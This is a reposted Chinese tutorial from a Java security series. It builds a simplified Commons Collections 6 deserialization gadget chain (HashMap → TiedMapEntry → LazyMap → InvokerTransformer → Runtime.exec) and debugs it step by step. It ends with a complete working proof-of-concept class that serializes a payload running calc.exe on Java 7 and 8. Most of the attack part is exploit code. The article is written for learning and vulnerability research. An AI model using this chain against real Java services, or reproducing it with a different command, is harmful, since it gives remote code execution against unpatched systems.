手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用

栏目: IT技术 · 发布时间: 4年前

内容简介:这是代码审计知识星球中《Java安全漫谈》的第十二篇文章。本文带大家编写一个简化版的CommonsCollections6利用链,代码量相比于ysoserial减少50%,能够让大家更好理解。

这是代码审计知识星球中《Java安全漫谈》的第十二篇文章。

本文带大家编写一个简化版的CommonsCollections6利用链,代码量相比于ysoserial减少50%,能够让大家更好理解。

上一篇文章我们详细分析了CommonsCollections1这个利用链和其中的LazyMap原理。但是我们说到,在 Java 8u71以后,这个利用链不能再利用了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。

在ysoserial中,CommonsCollections6可以说是commons-collections这个库中相对比较通用的利用链,为了解决高版本Java的利用问题,我们先来看看这个利用链。

不过,本文我不会按照ysoserial中的代码进行讲解,原因是ysoserial的代码过于复杂了,而且其实用到了一些没必要的类。

我们先看下我这条简化版利用链:

/*

Gadget chain:

java.io.ObjectInputStream.readObject()

java.util.HashMap.readObject()

java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()

org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()

java.lang.reflect.Method.invoke()

java.lang.Runtime.exec()

*/

我们需要看的主要是从最开始到 org.apache.commons.collections.map.LazyMap.get() 的那一部分,因为 LazyMap#get 后面的部分在上一篇文章里已经说了。所以简单来说, 解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用 LazyMap#get() 的地方

我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue方法中调用了 this.map.get ,而其hashCode方法调用了getValue方法:

package org.apache.commons.collections.keyvalue;


import java.io.Serializable;

import java.util.Map;

import java.util.Map.Entry;

import org.apache.commons.collections.KeyValue;


public class TiedMapEntry implements Entry, KeyValue, Serializable {

private static final long serialVersionUID = -8453869361373831205L;

private final Map map;

private final Object key;


public TiedMapEntry(Map map, Object key) {

this.map = map;

this.key = key;

}


public Object getKey() {

return this.key;

}


public Object getValue() {

return this.map.get(this.key);

}


// ...


public int hashCode() {

Object value = this.getValue();

return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());

}


// ...

}

所以,欲触发LazyMap利用链,要找到就是哪里调用了 TiedMapEntry#hashCode

ysoserial中,是利用 java.util.HashSet#readObject HashMap#put() HashMap#hash(key) 最后到 TiedMapEntry#hashCode()

实际上我发现,在 java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调用,去掉了最前面的两次调用:

public class HashMap<K,V> extends AbstractMap<K,V>

implements Map<K,V>, Cloneable, Serializable {


// ...


static final int hash(Object key) {

int h;

return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

}


// ...


private void readObject(java.io.ObjectInputStream s)

throws IOException, ClassNotFoundException {

// Read in the threshold (ignored), loadfactor, and any hidden stuff

s.defaultReadObject();

// ...


// Read the keys and values, and put the mappings in the HashMap

for (int i = 0; i < mappings; i++) {

@SuppressWarnings("unchecked")

K key = (K) s.readObject();

@SuppressWarnings("unchecked")

V value = (V) s.readObject();

putVal(hash(key), key, value, false, false);

}

}

}

在HashMap的readObject方法中,调用到了 hash(key) ,而hash方法中,调用到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成一个完整的Gadget。

构造Gadget代码

说干就干,我们开始编写代码。

首先,我们先把恶意LazyMap构造出来:

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] { String.class,

Class[].class }, new Object[] { "getRuntime",

new Class[0] }),

new InvokerTransformer("invoke", new Class[] { Object.class,

Object[].class }, new Object[] { null, new Object[0] }),

new InvokerTransformer("exec", new Class[] { String.class },

new String[] { "calc.exe" }),

new ConstantTransformer(1),

};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);


Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

上述代码,就像我在《Java安全漫谈 - 11.反序列化篇(5)》中说过的,为了避免本地调试时触发命令执行,我构造LazyMap的时候先用了一个人畜无害的 fakeTransformers 对象,等最后要生成Payload的时候,再把真正的 transformers 替换进去。

现在,我拿到了一个恶意的LazyMap对象 outerMap ,将其作为 TiedMapEntry 的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调用 TiedMapEntry#hashCode() ,我们需要将 tme 对象作为 HashMap 的一个key。注意,这里我们需要新建一个HashMap,而不是用之前LazyMap利用链里的那个HashMap,两者没任何关系:

Map expMap = new HashMap();

expMap.put(tme, "valuevalue");

最后,我就可以将这个 expMap 作为对象来序列化了,不过,别忘了将真正的 transformers 数组设置进来:

// ==================

// 将真正的transformers数组设置进来

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

f.setAccessible(true);

f.set(transformerChain, transformers);


// ==================

// 生成序列化字符串

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(expMap);

oos.close();

执行!

手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用

Nothing happend!并没有弹出计算器,这是为什么?

为什么我们构造的Gadget没有成功执行命令?

我们来反思一下,为什么我们构造的Gadget没有成功执行命令?

单步调试一下,你会发现关键点在LazyMap的get方法,下图我画框的部分,就是最后触发命令执行的 transform() ,但是这个if语句并没有进入,因为 map.containsKey(key) 的结果是true:

手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用

这是为什么呢?outerMap中我并没有放入一个key是 keykey 的对象呀?

我们看下之前的代码,唯一出现 keykey 的地方就是在 TiedMapEntry 的构造函数里,但 TiedMapEntry 的构造函数并没有修改outerMap:

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);


TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");


Map expMap = new HashMap();

expMap.put(tme, "valuevalue");

其实,这个关键点就出在 expMap.put(tme, "valuevalue"); 这个语句里面。

HashMap的put方法中,也有调用到 hash(key)

public V put(K key, V value) {

return putVal(hash(key), key, value, false, true);

}

这里就导致 LazyMap 这个利用链在这里被调用了一遍,因为我前面用了 fakeTransformers ,所以此时并没有触发命令执行,但实际上也对我们构造Payload产生了影响。

我们的解决方法也很简单,只需要将keykey这个Key,再从outerMap中移除即可: outerMap.remove("keykey")

最后,我构造的完整POC如下,代码也可以在Github上找到:

package com.govuln;


import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;


import java.io.*;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.util.Map;


public class CommonsCollections6 {

public static void main(String[] args) throws Exception {

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] { String.class,

Class[].class }, new Object[] { "getRuntime",

new Class[0] }),

new InvokerTransformer("invoke", new Class[] { Object.class,

Object[].class }, new Object[] { null, new Object[0] }),

new InvokerTransformer("exec", new Class[] { String.class },

new String[] { "calc.exe" }),

new ConstantTransformer(1),

};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);


// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);


TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");


Map expMap = new HashMap();

expMap.put(tme, "valuevalue");


outerMap.remove("keykey");


Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

f.setAccessible(true);

f.set(transformerChain, transformers);


// ==================

// 生成序列化字符串

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(expMap);

oos.close();


// 本地测试触发

System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

Object o = (Object)ois.readObject();

}

}

大家可以对比一下,相比于ysoserial的CommonsCollections6的代码长度和理解的难度,我这个简化版是不是方便理解得多,实际上原理是类似的,并不是一个新的利用链。

这个利用链可以在Java 7和8的高版本触发,没有版本限制:

手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用

当然,我并不是说自己简化的Gadget一定比ysoserial原版要好,毕竟原版的很多代码会考虑的更加全面,在实战中能应对更多复杂的情况。但就单从初学者理解的角度看,我这个简化版肯定是更加方便理解和学习的,相信这篇文章也能给大家带来一些启发。

点击

阅读原文

阅读全系列文章:

  • Java安全漫谈 - 01.反射篇(1)

  • Java安全漫谈 - 02.反射篇(2)

  • Java安全漫谈 - 03.反射篇(3)

  • Java安全漫谈 - 04.RMI篇(1)

  • Java安全漫谈 - 05.RMI篇(2)

  • Java安全漫谈 - 06.RMI篇(3)

  • Java安全漫谈 - 07.反序列化篇(1)

  • Java安全漫谈 - 08.反序列化篇(2)

  • Java安全漫谈 - 09.反序列化篇(3)

  • Java安全漫谈 - 10.反序列化篇(4)

  • Java安全漫谈 - 11.反序列化篇(5)

  • Java安全漫谈 - 12.反序列化篇(6)


以上所述就是小编给大家介绍的《手工编写简化版CommonsCollections6,带你实现Java8全版本反序列化利用》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法设计与分析

算法设计与分析

郑宗汉//郑晓明 / 清华大学 / 2011-7 / 45.00元

《算法设计与分析(第2版)》系统地介绍算法设计与分析的概念和方法,共4部分内容。第1部分介绍算法设计与分析的基本概念,结合穷举法、排序问题及其他一些算法,对算法的时间复杂性的概念及复杂性的分析方法作了较为详细的叙述;第2部分以算法设计技术为纲,从合并排序、堆排序、离散集合的union和find操作开始,进而介绍递归技术、分治法、贪婪法、动态规划、回溯法、分支与限界法和随机算法等算法设计技术及其复杂......一起来看看 《算法设计与分析》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具